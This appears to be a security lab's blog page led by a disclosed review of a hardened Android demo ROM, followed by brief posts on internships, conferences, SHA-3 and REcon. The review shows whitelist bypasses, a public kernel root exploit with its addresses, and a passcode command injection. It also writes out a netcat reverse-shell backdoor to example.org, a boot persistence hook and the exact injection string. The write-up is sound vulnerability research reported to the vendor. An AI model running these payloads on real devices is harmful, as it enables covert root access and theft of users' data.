Sogeti ESEC Lab

Blog of the SOGETI / ESEC R&D Lab

A quick security review of the Uhuru Mobile demo ROM

Introduction

From February 23 to February 28, we had the opportunity to look at the demo ROM of Uhuru Mobile. Uhuru Mobile is supposed to be a secure Mobile Devices Management solution, including its own store, an application validation process all that on top of a hardened Android with protection against unknown code, system integrity checks, etc.

Uhuru is the commercial spin-off of Davfi for Android, a publicly funded effort to make an antivirus, and a secure mobile platform based on Android.

In early February, Nov'IT released a demo ROM for the Nexus 4 of the hardened Android part of their secure mobile solution. That is the part that we are going to look at in this article.

According to information given to the media by people working on the project, Uhuru is based on Cyanogen Mod. As I am not very familiar with all the parts of Android, this is by no mean an exhaustive audit of the platform, we surely have missed positive and/or negative aspects.

The Uhuru image we looked at has the following sha256sum:

a7c5248790da71c0e5791f7f49aeb54e0b41aa2434bbbbf7d1503b9ec9e82063

Getting a shell

We had a spare Nexus 4 which we were not using at this time, and I had a little research time ahead of me so I decided to take a look at this Android ROM which appeared to take security seriously.

After following the instructions to install all the image files, we are in possession of a Nexus 4 phone with Uhuru Mobile. We then try to obtain a shell on the device using adb. We can not find any developer menu to authorize my computer and no pop up to prompt me to accept the certificate.

We modify boot.img with ro.adb.secure = 0 and ro.secure = 0. Furthermore, even though adb is started thanks to persist.sys.usb.config = mtp,adb in default.prop, a process later during the boot sets persist.sys.usb.config = mtp, effectivly stopping adb:

root@android:/ # dmesg | grep mtp                                              
<3>[    2.430001] init: setprop persist.sys.usb.config : mtp,adb
<3>[   63.327056] init: setprop persist.sys.usb.config : mtp
<3>[   63.364535] init: setprop sys.usb.config : mtp

So modifying on property:sys.usb.config:mtp in init.mako.usb.rc should do the trick. Once this is done, we now have a shell on the device. They say on the website that the system is protected against unknown code execution, so let's try to push and execute a busybox.

root@android:/data/local/tmp # ./busybox-armv6.static                          
/system/bin/sh: ./busybox-armv6.static: Permission denied

Binary works on other phones, permissions are OK, we should be able to execute it. We assembled a Nexus 4 UART debug cable the day before and we have a console with it plugged in so we see the following messages (these could also have been found using dmesg):

[  196.202655] [+] execve : ./busybox-armv6.static ./busybox-armv6.static
[  196.254448] [+] execve : aucune correspondance, 1f23501339631b2738c878502de08e95bb1d18a362748bbdc15c02991fc1ba36
[  196.254570] [+] execve : binaire ./busybox-armv6.static interdit

These debug messages in french seem to indicate they modified the kernel. We can guess they added some code to the kernel verifying some kind of hash when running an executable.

Kernel

Hash

Once the image file retrieved, we fire up our disassembler and search for xref on the string "+ execve". Following them we arrive in code apparently doing some checks and launching an executable. Comparing with the kernel sources, we can see we are in do_execve (0xC01271E8). Comparing with the vanilla Android kernel code, we can pinpoint what was added. The most interesting part:

...
file_content_size = read_file_content(file, 0x61A80, file->f_pos,
                              file_content_buf, 0x61A80u);
compute_sha256_hash(file_content_buf, file_content_size, hash);
if (strncmp(hash, "a7f7a05747de09f5ac89fa89a666c407b29c7beca5348bcdd472156c9dffdced", 0x40))
{
    if (!is_hash_authorized(hash))
    {
        printk("[+] execve : binaire %s interdit\n", filename);
        kfree(file_content_buf);
        kfree(hash);
        filp_close(file);
        return 0xFFFFFFF3;
    }
    printk("[+] execve : binaire %s autorisé\n", filename);
}
...

What they do is the following:

  • Retrieve the first 400KB of the executable passed to execve
  • Perform a SHA256 calculation on these bytes
  • Search for a match on a list hardcoded into the kernel
  • If there is a match, continue, otherwise return failure

As you have noticed, this code only applies to execve, so here are a few bypasses (list not exhaustive) that work:

  • Use a library defining for example __libc_init and LD_PRELOAD any authorized executable on the system
int __libc_init(void*, void*, void*)
{
    puts("Hello World!");
    exit(0);
}
shell@android:/ # LD_PRELOAD=/data/local/tmp/libhello-jni.so bash              
Hello World!
  • Find an executable larger than 400KB and put you code after the limit
  • Use rild with a library that defines RIL_Init (it drops privileges though, see next part for an example)

You can find a copy of the hashes allowed by this kind of protection in /system/etc/listeBlanche.

We could not see if they added more code to the kernel just by having a glance in IDA.

Public vulnerabilities

While we are at it, let's check if the kernel is vulnerable to public vulnerabilities. First we check the version:

root@android:/ # uname -a
Linux localhost 3.4.0-UHURU-g825e82a-dirty #4 SMP PREEMPT Thu Feb 6 15:47:18 CET 2014 armv7l GNU/Linux

We know Uhuru is based on CyanogenMod, so let's have a look at which version it is based on. After getting the CM images from their website we look at the different kernel versions. Using the CM 10.1.3 image we get the following result:

Linux localhost 3.4.0-perf-g825e82a #1 SMP PREEMPT Mon Sep 23 17:00:27 PDT 2013 armv7l GNU/Linux

It means Uhuru is based on CM 10.1.3, which is based on Android 4.2.2.

As the kernel seems to be a bit old, let's try public local roots. According to the kernel version, it should be vulnerable to at least put_user. To test this, we use the Android Rooting Tools. To make them work we modify a few lines of code to make it a library, then use their helper tools to get the required addresses:

void*
RIL_Init(void*, int argc, char** argv)
{
    prepare_kernel_cred = (void*) 0xc008a7a8;
    commit_creds = (void*) 0xc008a2d0;
    ptmx_fops = (void*) 0xc0efd570;
    remap_pfn_range = (void*) 0xc01053ac;

    main(argc, argv);
}

We then push and run it on the device:

shell@android:/ $ id
uid=2000(shell) gid=2000(shell)
shell@android:/ $ rild -l /data/local/tmp/librun_root_shell.so
Device detected: Nexus 4 (UHURU Mobile 4.2.2 JDQ39E eng.root.20140206.124113)
...
Attempt put_user exploit...
shell@android:/ # id
uid=0(root) gid=0(root)

That is not good for a hardened Android. It basically means once you obtain user privileges, game is over, you may become root and you can fully compromise the system.

Crash

On a sidenote, we got several kernel NULL deref happening in the wifi driver when performing seemingly unrelated tasks, such as grepping / or trying to encrypt the smartphone. It is a bit annoying as you can not encrypt the /data partition. After a mail exchange with Nov'IT, they said they encountered this behaviour on early shipped Nexus 4, which we happen to have. This problem seems to also happen on Cyanogen Mod 10.1.3 so it is probably inherited from there. We did not investigate further.

Back to Userland

Zip Master Key

Once again, checking public vulnerabilities that work on the CyanogenMod version Uhuru is based on gives results. Using information from Saurik's very detailed post on bug #9950697 we are able to modify an APK and install it to the system bypassing APK signature check.

/system Integrity Check

When poking around in the filesystems, we notice a few files that do not seem to come either from Android or Cyanogen Mod. In /etc there is a file named DavRes which is approximately 10MB. Searching for references in executables, we stumble upon code with more french debug messages in /system/bin/vold, more specifically in cryptfs, the subsystem in charge of the smartphone encryption.

Basically, they added a command, checksys, which performs checks on some /system subfolders.

More specifically, DavRes is in fact a container that is probably encrypted, and it contains two files. checksys will decipher /mnt/secure/DavRes/system.sig using /mnt/secure/DavRes/publickey1.pem and store the result. It will then perform some kind of hash on /system/app, /system/lib, /system/framework and /system/vendor using an executable which seems custom: /system/bin/getrephash. It then compares the two hashs and checks if they match.

What may be of interest is to see how DavRes is actually deciphered and mounted.

Passcode Escape Shell

Actually there are other references to DavRes in the following shell scripts:

  • /system/bin/initsafe
  • /system/bin/opensafe
  • /system/bin/pswsafe

Their names are quite explicit, they are tasked with creating, opening and changing the password of the DavRes container. To understand how and when they are invoked, we must have a look at the com.android.Settings.CryptKeeper* classes which are in charge of the UI and tasks launching encryption and decryption of the phone. It is located in /system/app/Settings.apk.

In com.android.Settings.CryptKeeperConfirm, which is used for the initial ciphering of the phone, we can spot the following lines that were added:

Log.e("CryptKeeper", "Initialisation du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.flush();
dataoutputstream.writeBytes((new StringBuilder()).append("initsafe ").append(bundle.getString("password")).append("\n").toString());

So when you cipher your phone, it invokes initsafe with the passcode you entered as an argument. In initsafe:

echo $1 | cryptsetup -q luksAddKey /dev/loop0 /mnt/secure/DavRes/master.key

So we have an escape shell running as root here. But as you need to be logged in and provide the initial password to change it, it is not very interesting. What about when the phone boots and ask you the passcode? The code for this is located in com.android.Settings.CryptKeeper:

Log.e("CryptKeeper", "Ouverture du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.flush();
dataoutputstream.writeBytes((new StringBuilder()).append("opensafe ").append(as[0]).append("\n").toString());

In opensafe:

echo $1 | cryptsetup -q luksOpen /dev/loop0 cr_DavRes

And here it is. As this code is located before the actual decryption, we also have an escape shell as root. What this means is once your phone is encrypted, anyone with physical access could reboot your phone to execute commands as root before the phone is decrypted and from there drop a rootkit. With a bit of work, the attacker could also use brute force, provided you have a weak passcode, and find a way to exfiltrate the information. The attacker may then reboot the phone and decrypt it in order to access your data.

What it also means is that the /system integrity check is to our opinion quite useless since the DavRes container is always opened and has the same password than the data partition. Moreover, it only checks a few directories located in the system partition while there are scripts executed as root in the data partition during the boot.

As was told in the Crash part, we were unable to encrypt our phone due to kernel panics happening during the procedure. However when looking at the original source, you can see there is a way to test this feature by launching it from the command line once the phone is up and running:

pm enable com.android.settings/.CryptKeeper
am start -e "com.android.settings.CryptKeeper.DEBUG_FORCE_VIEW" "password" -n com.android.settings/.CryptKeeper

It shows the following prompt:

cryptkeeper.png

We are able to successfully execute commands as root. As an example of what can be done using this vulnerability, here are the modifications we did to be able to remotely launch commands on the phone:

  • First we need to remount /system as read-write
  • Then create a backdoor.sh file in /system/etc. Its content could be:
(
    while true; do
        /system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778;
        /system/xbin/sleep 5;
    done
) >/dev/null </dev/null 2>&1 &
disown
  • Append a line in /system/etc/kickstart_checker.sh (this script is executed at boot as an argument to sh, so its content is not checked):
/system/xbin/bash /system/etc/backdoor.sh
  • Reboot and wait for the user to log in to obtain network.

The passcode to type to obtain this result is:

;mount -o remount,rw /system;echo -e '(\nwhile true; do /system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778; /system/xbin/sleep 5; done\n) >/dev/null </dev/null 2>&1 &\ndisown' > /etc/backdoor.sh;echo '/system/xbin/bash /etc/backdoor.sh' >> /etc/kickstart_checker.sh;

Recovery Image

At one point we took a look at the recovery image. We just started it and poke around with the options. Nothing very interesting there. So just in case we tried to get a shell with adb and... got one. root. Having a look at default.prop:

ro.secure=1
ro.debuggable=1
persist.sys.usb.config=mtp,adb

ro.secure=1 means adb drops privileges when starting, except when ro.debuggable is set to 1 and service.adb.root is also set to one using the adb root command.

In practice you could use this to dump userdata partition and bruteforce it if it is encrypted (a blog post by Cédric about that particular subject should be up soon), or drop a rootkit on the phone.

In a mail exchange with Uhuru developer Nov'IT, we were told it is due to the fact that it is a demo version, they were providing a way to help the audit, and that in any case, it did not impact Uhuru's security. For reasons exposed in the previous paragraph, we strongly disagree.

Random Thoughts

As Uhuru is based on CyanogenMod, it also includes a profusion of tools by default and which hashes are white-listed. A few examples:

  • sshd
  • gdbserver
  • fully fledged busybox (with telnetd, tftpd, netcat, ...)
  • bash

We are not sure they are quite essential to the system... But they certainly make it easier to stay in the phone once code execution is achieved. For example you could use these tools combined with the fact that the script /data/local/userinit.sh is executed by root at each boot. The developers told us unneeded binaries would be removed in the final version.

Conclusion

As we have seen, one has to be extra careful when dealing with vendors advertising for hardened software. Some of the problems described above could be fixed by just upgrading the CyanogenMod which they are based on to the latest version (CM11, which is based on Android 4.4.x) while others where introduced with the code they added to harden the system.

As you have noticed, we did not really look into non native parts of Android, as I was mostly reading code and experimenting with how everything fits together but if we have the time, it could be interesting to have a look as well as reverse how getrephash works, which we have not done yet.

Also for the kernel part, we could have pushed investigation further by using a binary diffing tool, but as they modified the kernel sources, they should release them in a near future to comply with the GPL. They confirmed in a mail exchange it was planned.

We have not seen much of the advertised features but that may be because we did not look hard enough or maybe because this is a demo version, not including everything.

We reported our findings to Nov'IT and we hope everything will be fixed in the commercial version. They were quite reactive to our mail inquiries and we thank them for this.

On a final note I would like to thank my coworkers for their expertise, ideas, and corrections during this week.

Internships 2014

We have 4 open positions for internships:

  • Assessment of tools detecting APT
  • Binary instrumentation
  • Analysis of a virtualization platform
  • Electronic Control Units (ECU) analysis

Presence at hack.lu 2013

As some people may have already noticed, we will be present at hack.lu 2013!

There has been extensive research and attacks on iPhone bootloaders but the Android world is quite large with multiple hardware manufacturers, and therefore has not been fully explored yet. To fill the void, we have been working on a HTC Android bootloader (HBOOT) debugger to assist us in assessing the security of this unknown low-level software. In this presentation, we will detail how we inject this debugger into HBOOT memory, how we communicate with it as well as the internals of our debugger.

If some people want to get in touch with us, we will be happy to talk with you there.

See you soon!

And the winner is... KECCAK !

On November 2006, NIST (National Institute of Standards and Technology) announced a public competition for developing a new cryptographic hash algorithm which would become SHA-3. The submission dead-line was October 2008. NIST received 64 submissions and announced 51 valid candidates for the first round in December 2008 and 14 (including French candidates ECHO and Shabal) for the second round in July 2009. On December 2010, they announced the 5 final round candidates which were BLAKE, Grostl, JH, KECCAK and Skein. Finally, this month (October 2, 2012), NIST announced that the winner of the SHA-3 Cryptographic Hash Algorithm Competition is KECCAK.

Internships

We have 3 open positions for internships:

  • Mobile phone bootloader analysis: this internship aims to evaluate the security of existing bootloaders used in smartphones by developing a bootloader debugger and a USB fuzzer.
  • Bootkit Windows 7: this internship aims to study existing bootkits on Windows 7 but also to develop an infection tool.
  • NFC Android applications: this internship aims to study how NFC application on smartphones can make known attacks (card clone, relay attack, etc.) easier.

Presence at hack.lu 2012

Just a quick post to let you know that, as some people may already have noticed, we will be present at hack.lu 2012!

In this talk, we will talk about GSM Protocol Stack and techniques we usually use to find vulnerabilities on new smartphones. You will also see the framework we have made to automate our fuzzing tests.

See you there!

Recon2012

For the third year we had the chance to participate to REcon 2012.

Here is a summary of the most intelligible talks.

Low-level iOS forensics

iOS filesystem encryption and data protection mechanisms are now well documented and supported by many forensics tools. iOS devices use NAND flash memory as their main storage area, but physical imaging usually refers to a "dd image" of the logical partitions. The iOS Flash Translation Layer for current devices is software-based (implemented in iBoot and the kernel), which means that the CPU has direct access to raw NAND memory. In this post we will describe how to acquire a NAND image and use FTL metadata to recover deleted files on A4 devices. The information presented here is based on the great reverse engineering work done by the iDroid/openiBoot team.

- page 1 of 15